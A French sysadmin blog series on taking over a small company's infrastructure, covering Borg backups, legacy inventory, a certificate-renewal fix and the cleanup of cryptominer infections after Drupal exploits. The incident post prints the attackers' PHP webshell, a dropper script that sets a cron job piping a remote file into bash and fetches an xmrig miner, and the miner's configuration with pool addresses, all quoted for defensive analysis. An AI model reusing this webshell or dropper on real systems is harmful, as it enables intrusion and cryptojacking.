Devenir SysAdmin d’une PME – Les sauvegardes- Billet n°4

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
- Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
- Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
- Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Introduction

Les sauvegardes... Ah les sauvegardes... Depuis que j'ai eu mon premier ordinateur et que j'ai perdu des données, j'ai appris très rapidement à faire des sauvegardes. Car il y a deux types d'administrateurs systèmes "celui qui a déjà fait un rm -rf /* et celui qui le fera".

J'ai écrit quelques billets au cours des années sur ce sujet, pour aider à savoir quoi sauvegarder etc. je vous mets la liste des principaux billets ici :
- A.I.2 - Qu'est ce que je dois sauvegarder ?
- Sauvegarde la règle des 3-2-1
- L'importance des sauvegardes...
- Sauvegarde et restauration

Dans ce billet, je voudrais parler de quelques trucs sympa sur les sauvegardes.

Borg pour la sauvegarde des fichiers

Nombreux sont les outils pour les sauvegardes de fichers, des scripts maisons à base de rsync en passant par des outils plus évolués comme Duplicty, Rdiffbackup... Dans un précédent billet, j'évoquais Borg comme outil de sauvegarde. Avec les semaines, je reste persuader et convaincu que Borg est l'outil idéal et permet de faire, d'une façon simple, des sauvegardes des fichiers (on exclue le cas des bases de données qui sera traiter dans un billet ultérieur). Et je ne suis pas le seul à le dire. Cet article Sauvegarder ses machines avec Borg et Backupninja présente par exemple les avantages de Borg Contrairement à rdiff-backup qui a un algorithme basé sur rsync et fonctionne par incrémentation de version en version (ce qui interdit notamment de supprimer une version intermédiaire), BorgBackup utilise une technique de déduplication de morceaux (chunks). Au lieu de travailler par fichiers, il concatène (et compresse) tout ce qu'il y a à sauvegarder, pour le stocker par morceaux de 50Mo. Sans rentrer dans les détails, les intérêts sont multiples...

Le but de cette partie n'est pas de faire un tutoriel sur Borg, mais de parler de mon retour d'expérience sur le sujet en quelques mots. Je l'utilise au quotidien pour mes sauvegardes de mon poste professionnel mais également pour différents serveurs. C'est rapide, simple et efficace, pour gérer des sauvegardes de plusieurs gigas en sauvegarde chaque jour (avec peu de fichiers modifiés), ça prends quelques dizaines de secondes. Pour le cas des serveurs, j'ai mis en place un script shell on ne peut plus basique, qui fait appel à Borg. Un script du type de celui-ci est placé en tâche cron lancé chaque nuit. Si besoin, l'avantage de Borg est que l'on peut même faire une tâche cron qui se lance toutes les heures pour avoir une sauvegarde des fichiers toutes les heures. Ca ne prendra pas beaucoup de place et on aura toutes les sauvegardes dont on pourrait avoir besoin...

# on se place dans le répertoire ou l'on veut sauvegarder, qui est un montage d'un espace de stockage dédié partagé par SSH, monté en SSHFS
cd /Backup
# on lance la sauvegarde par borg qui s'effectue par un incrémental
borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /le_dossier_a_sauvegarder --show-rc -v >> /tmp/mailreport.txt 2>&1

# Purge des anciennes sauvegardes, on garde sur 7 jours, 1 par semaine pendant 4 semaine, 1 par an
borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-12 .

# Pur avoir la liste des sauvegardes dans le mail de rapport de la sauvegarde
echo -e "Liste des Sauvegardes\n" >> /tmp/mailreport.txt
borg list . >> /tmp/mailreport.txt

# envoie du rapport par courriel
sendemail -f expediteur@domaine.com -u "Sauvegarde du serveur XXXX - Daily Report" -t destinataire@domaine.com -s smtp.domaine.com -o message-file=/tmp/mailreport.txt

Pour répondre à la règle des 3, 2, 1, il faut donc avoir une copie externalisée qui est une copie / réplication de l'espace de stockage qui reçoit toutes les sauvegardes. A voir ce que l'on met en place : disque répliqué à l'identique, service de stockage haute-disponibilité...

Sauvegarde de la configuration

Pour l'instant, ce que je fais, c'est un export via Scp de tout /etc des différents serveurs avec la remontée des fichiers de configuration dans un dossier nommé selon le serveur dans un projet dédié dans un Gitlab. Ca se scripte assez bien pour avoir le scp, un git commit... Je fais au plus facile pour l'instant mais je pense. Pourquoi pas Borg ? Car git permet d'avoir l'historique et de comparer facilement les fichiers là où Borg permet de conserver l'ensemble d'une arborescence à un instant t, une sorte de snapshot, mais il faudrait montrer plusieurs sauvegardes pour faire les comparaisons fichier à fichier..

Je réfléchis à la mise en place d'un outil comme Etckeeper pour avoir une autre automatisation, il faut encore que j'étudie ça.
etckeeper est un système conçu pour suivre la configuration d'une machine (répertoire /etc, d'où le nom) à l'aide d'un gestionnaire de versions(par exemple Git).
Deux tutoriaux sur le sujet :
- Etckeeper sur le site de l'association Grenode
- Etckeeper sur le blog Syloe.com

Sauvegarde des bases de données

Du classique, un script, une tâche cron pour faire un export Dump sur un espace de stockage... Je pense que je développerai ce sujet dans un billet une prochaine fois.

Une sauvegarde complète (un snapshot par exemple pour une VM) et des sauvegardes régulières des éléments changeants

Snapshots

Dans mon billet Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1, je parlais de machines virtuelles sur des hyperviseurs. Je gère ces machines virtuelles comme des serveurs et j'applique donc au fur et à mesure l'homogénéisation de la sauvegarde en mettant Borg en place partout.
Il est important de pouvoir remonter rapidement un service et avec une V.M., c'est assez simple. Un snapshot régulier (je travaille à scripter l'automatisation et la rotation de ces snapshots sur Xen, je ferai un billet sur le sujet), le delta de la VM correspondant à ce qui est sauvegarder de façon journalière. Je n'ai donc qu'à restaurer la VM, à réappliquer les mises à jours de l'OS, éventuellement restaurer les données et les fichiers de configuration et tout est bon.

A noter que je ne considère pas le snapshot comme une sauvegarde mais comme un complément de sauvegarde. Le snapshot ne suffit pas comme la sauvegarde ne suffit pas. Si il faut réinstaller tout une machine avec tous les services... Quoiqu'avec le tournant qu'apporte le Devops et la gestion en mode PAAS, la création de VM à la demande et l'industrialisation à venir... Bref, encore plein d'autres sujets à aborder dans les prochaines semaines et prochains mois... A suivre.

Devenir SysAdmin d’une PME – Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
- Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
- Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

Nouveau billet de la série Devenir SysAdmin d'une PME avec cette fois ci un billet de réflexion autour du sujet du contrôle et de la maîtrise et plus exactement sur le fait d'accepter de ne pas avoir le contrôle sur tout.

A la mi-mars, j'écrivais deux billets assez intimistes à savoir Le métier passion et Tout intellectualiser, dans lesquels j'évoquais le travers dans lequel j'étais tombé de part avoir (enfin) un métier que j'aime et la volonté de vouloir toujours plus de contrôle...

Dans les semaines qui ont suivies, j'ai pris du recul, réfléchit et j'apprends peu à peu à accepter qu'on ne peut pas avoir le contrôle sur tout. Comme indiqué avec le début de la série de billet Devenir SysAdmin d'une PME, je suis en pleine restructuration de l'infrastructure en commençant par l'appropriation de cette dernière, la gestion de la documentation pour me permettre l'appropriation des différentes strates et couches accumulées au cours des années par différents administrateurs systèmes. Avant de pouvoir passer à une phase d'homogénéisation permettant alors une industrialisation de le gestion de tout le S.I., il y a la compréhension de ce dernier, la gestion du legacy, la gestion des incidents de sécuritépar méconnaissance de l'existence de ce site Drupal planqué dans un coin)...

Accepter de ne pas avoir le contrôle sur tout, c'est accepter que l'on a encore beaucoup de travail à faire avec la gestion du legacy. Et qu'un incident interviendra forcément sur quelque chose que l'on a pas encore eu le temps de documenter ou de revoir la documentation si celle-ci est déjà existante. Il y aura forcément, dans un coin, le serveur qui marche et que tout le monde a oublié avec un mot de passe que personne ne connaît plus... Jusque ce qu'il y ait un soucis (un disque qui ne répond plus ou autre) et que soudain, cela devienne une priorité.

Idem pour les sauvegardes. Je dois faire un billet dédié sur la mise en place des sauvegardes avec Borg (que je ne peux que conseiller et tous les retours que j'en ai des personnes qui ont suivi ce conseil me conforte dans le fait d'avoir moi-même suivi le conseil d'utiliser Borg. Les sysadmin, une grande famille qui partage les bonnes astuces). Je pars du principe que si je ne sais pas, ça n'existe pas.

Il y a très certainement des sauvegardes automatisées et tout marche. Mais comme dans tout legacy, il y a différents outils, mis en place au fur et à mesure. Je pars du principe que si je ne sais pas (encore) comment ça marche et surtout si je n'ai pas testé la restauration de la sauvegarde, ça n'existe pas. C'est très direct. Mais au moins ça donne un bon aperçu de la réalité : le moment où j'aurai besoin de cette sauvegarde, ce sera forcément dans un moment d'urgence. Si je ne sais pas comment ça marche et comment restaurer, cela revient à ne pas avoir de sauvegarde d'une certaine façon. Accepter de ne pas avoir le contrôle sur tout, c'est accepter que pour l'instant, tout n'est pas industrialiser au niveau des sauvegardes, que tout n'est pas sous contrôle...

De même, dans le cadre de la sécurité et de la gestion des PC des collaborateurs. Beaucoup d'entreprise font le choix de verrouiller au maximum les PC en limitant les droits, les applications installées, en mettant des proxys... Une autre façon de faire et de sécuriser le S.I. et d'accepter le BYOD et de responsabiliser les collaborateur.trice.s. L'entreprise dans laquelle je suis, je l'ai choisi sur de nombreux critères dont le fait que l'on soit Administrateur de sa machine. Le fait que l'on soit sous un O.S. GNU/Linux (distribution de son choix) limite grandement les risques de sécurité classique liés aux postes sous Windows (virus, spyware...) tout comme le fait d'avoir des colloborateur.trice.s geek, utilisateur.trice.s avancé.e.s ayant par conséquence des notions plus élevés que la moyenne des bonnes pratiques de l'hygiène numérique. Un exemple est la facilité que j'ai à imposer l'usage de Keepass vu que beaucoup l'utilisent déjà par défaut.

Toutefois, je sais bien qu'un tas de fichiers sont créés sur lei postes utilisateurs... Et avec la mise en application du RGPD, il y a eu des nouvelles sessions de formation et de sensibilisation de faite et des sessions à faire et refaire, aux nouveaux arrivants, en rappel... De même, trop nombreuses restent encore les personnes qui ignorent que Firefox stocke les données du profil en clair sur le disque, et que l'OS a beau avoir un mot de passe, l'intégralité du contenu du disque est accessible via un live usb. Dans ce cas, seule solution : le chiffrement du poste. Là, encore, accepte-t-on de ne pas avoir la phrase de passe ?

Autre cas, la gestion des tickets, des demandes etc. Là encore, il faut accepter de déléguer, en donnant des consignes strictes sur la qualité de la documentation mise en place, sur l'enrichissement et le maintient de cette dernière. On ne peut pas tout faire et il faut donc accepter de ne pas avoir le contrôle sur tout. Mais ce n'est pas une raison pour que l'on ait le contrôle sur rien ;)

Yunohost, Let’s Encrypt – Soucis de renouvellement automatique pour un sous-domaines

J'aime bien avoir des sous-domaines thématiques et une application installé à la racine de sous domaine. Exemple cloud.toto.com avec Nextcloud à la racine (accessible via cloud.toto.com), rss.toto.com... Sur chacun de sous-domaines j'ai activé les certificats Let's Encrypt (fonctionnalité inclue par défaut dans l'interface d'administration des domaines de Yunohost).

J'avais un soucis de renouvellement automatique d'un certificat Let's Encrypt d'un sous-domaine qui arrivait à expiration, signalé par mail via la tâche cron qui gère ce renouvellement.

J'ai tenté via l'interface de renouveler le certificat ( Accueil > Domaines > status.toto.com > Certificat) et j'ai eu l'erreur du type

Wrote file to /tmp/acme-challenge-public/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw, but couldn't download http://
status.toto.com/.well-known/acme-challenge/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw

L'application installée (Cachet) était à la racine du domaine status.toto.com

Depuis la gestion de l'application dans la partie administration de Yunohost, j'ai migré l'application vers /cachet (Applications > Cachet > Changer l'URL)

J'ai alors relancé le renouvellement du Certificat depuis l'interface d'administration (clic sur le bouton "Renouveler manuellement maintenant).

Ça a marché !

J'ai rechangé l'url de l'application Cachet pour qu'elle soit de nouveau vers /, l'application Cachet est donc à la racine du domaine status.toto.com et la seule application du sous-domaine. Et le certificat pour le domaine status.toto.com est bon pour 89 jours...

A voir si lors de l'arrivée de la prochaine expiration du certificat pour ce sous-domaine je dois faire la même chose...

A noter que pour d'autres sous-domaines plus anciens ayant eux aussi des applications installées à la racine du sous-domaine (du coup une seule application par sous-domaine), je n'ai pas de soucis de renouvellement automatisé. A creuser via les logs à l'occasion.

Devenir SysAdmin d’une PME – Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "
"; 
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Devenir SysAdmin d’une PME – Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Devenir SysAdmin d’une PME, retour d’expérience – Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

